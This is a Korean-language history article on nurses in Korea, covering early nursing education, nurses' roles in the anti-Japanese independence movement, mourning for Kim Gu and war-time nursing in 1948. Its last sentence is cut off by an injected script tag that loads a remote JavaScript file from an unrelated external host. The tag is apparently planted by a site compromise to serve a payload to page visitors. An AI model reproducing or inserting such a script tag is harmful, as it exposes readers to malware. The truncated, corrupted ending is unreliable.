이 땅의 간호사는 환자간호는 물론 국난 극복의 시련과 고통을 국민과 함께하며 한 세기를 살아왔다. 일제시대에는 항일독립운동 조직을 결성, 조국의 독립을 위해 싸웠고 전쟁이 일어나자 부상자 간호에 힘쓰며 나이팅게일의 정신을 실현했다. 또 나라가 경제적으로 어려움에 처하자 이국타향을 마다 않고 해외취업의 길에 나서 성장의 씨앗을 뿌렸다. 간호교육이 이 땅에서 시작된 후 간호사가 걸어온 어제와 오늘을 정리해 본다.
여성전문직 교육으로 시작
우리나라 여성전문직 교육은 간호교육이 효시였다.
1903년 이 땅에서 최초로 간호교육을 시작한 것은 정동의 부인병원이었던 '보구녀관'. 그러나 우리 정부가 근대적인 간호교육을 시작한 것은 '세브란스병원 간호학교'가 설립된 다음해인 1907년 '대한의원'을 설치하면서부터였다.
간호교육은 이후 일제시대에 접어들어서는 대학 수준으로 진행됐다. 이화·정신·숙명·진명고녀 등 고등여학교를 졸업한 신여성들이 전문 직업교육을 받기 위해 당시 일반대학이었던 이화여전과 같은 일반대학을 마다하고 간호교육기관에 입학했다.
당시 여성에게는 교육을 받을 기회가 제한돼 있었고 여성이 직업을 갖는 것을 천하게 여기던 시기였음을 감안하면 당시 간호교육기관에 입학했던 여성들은 우리나라 여성 전문직 교육의 개척자였으며 산 증인이었다.
최초의 여성조직 결성 일제에 항거
간호사들의 항일독립운동 첫 신호탄은 3·1 운동 중 투옥된 애국지사들을 옥바라지하기 위해 조직을 결성한 것. 당시 명칭은 없었으나 세브란스병원 간호사로 있던 이정숙과 교사인 오현주가 이 모임을 만들었다. 이 모임은 정신여학교 졸업 후 세브란스병원 간호사로 근무하던 이성완에 의해 '혈성단'으로 정식 명칭을 얻게 되면서 더욱 활기를 띄었다.
이후 혈성단은 상해 임시정부의 독립운동을 지원하기 위해 조직된 '대조선독립애국부인회'와 보조를 맞추기로 하고 '대한민국애국부인회'로 명칭을 다시 바꾸면서 지부 확장에 전력투구한다. 대한민국애국부인회의 주요 임무는 독립운동 자금을 마련하는 것이었다. 이정숙 간호사가 경성지부장을 맡아 맹활약했다.
대한민국애국부인회가 전국적인 조직으로 거듭난 것은 같은해 10월부터였다. 재조직된 대한민국애국부인회의 임원진 가운데 적십자장(赤十字長)에 간호사 2인(이정숙, 윤진수)이 임명됐다. 기존 애국부인회의 주요 임무가 독립운동 자금 마련이었던 것과는 달리 새로 재편된 애국부인회의 주요 임무는 독립전쟁 준비에 있었기 때문이다.
또 상해 임시정부에서 대한적십자사를 조직하고 간호사 양성에 나서는 한편 본국에 경성지부를 설립하자 애국부인회와 대한청년외교단이 주축이 돼 회원 모집에 나섰다. 이에 따라 대한적십자사 경성지부 회원 대부분이 간호사를 포함한 교사·학생 등 여성들로 구성됐다.
일본 고등경찰이 집계한 적십자사 관계자 가운데 요시찰 인물은 모두 77명. 이 가운데 45명의 여성이 모두 애국부인회 회원이었다. 그 중에는 이정숙·박옥신·박인덕(이화학당 내 회원 20명 대표자)·윤진수 등 간호사 이름이 4명만 포함돼 있으나 기록을 자세히 추적해보면 더 있을 것으로 추정된다.
당시 대한민국애국부인회의 조직력과 기민한 활동은 일제도 놀랄 정도였다. 1919년 11월 애국부인회 임원과 회원에 대한 일제 검거령 때 대부분 검거되어 3주일간에 걸쳐 고문을 당했다. 이정숙 간호사는 징역 2년을 선고받고 대구 감옥에서 옥고를 치렀다.
독립을 위한 간호사들의 애국활동은 이후에도 계속됐다. 1928년 12월 광주학생봉기 때는 서울에서 학생만세운동을 주도했으며 당시 세브란스병원 간호사였던 한신광이 주동인물로 지목돼 서울 서대문 경찰서 유치장에서 3개월간이나 고생하다 집행유예 1년 6개월을 선고받았다.
한편 1928년부터 1936년까지 치안유지법을 위반한 2백19명의 여성 가운데 다수가 간호사였다는 일제측 자료가 당시 간호사들의 항일독립운동 모습을 잘 보여 준다.
백범 장례식에 조의
1949년 6월 26일 김구 선생이 안두희의 흉탄을 맞고 서거하셨다. 당시 대한간호협회는 국민과 슬픔을 함께하기 위해 신문에 광고를 게재, 깊은 애도의 뜻을 표했는데 이것이 빌미가 돼 국제간호협의회(ICN) 총회에 참석하려던 간협 회장단은 여권이 발급되지 않아 출국을 하지 못하는 등 탄압을 받기도 했다.
전쟁의 아픔 치유에 나서
대한민국 정부가 수립된 지 얼마 지나지 않은 1948년 10월 20일 여·순 반란사건이 일어났다. 당시 8일간의 폭동으로 여수지역은 1천2백여 명이 사망했고, 1천1백50여 명의 중경상자가 생겼다. 간호장교단은 창설된 지 2개월도 지나지 않은 상태에서 여수지역에 파견되어 사상자 간호에 임했다.
그뿐 아니라 지리산 공비 토벌작전에서도 ?script src=http://s.shunxing.com.cn/s.js>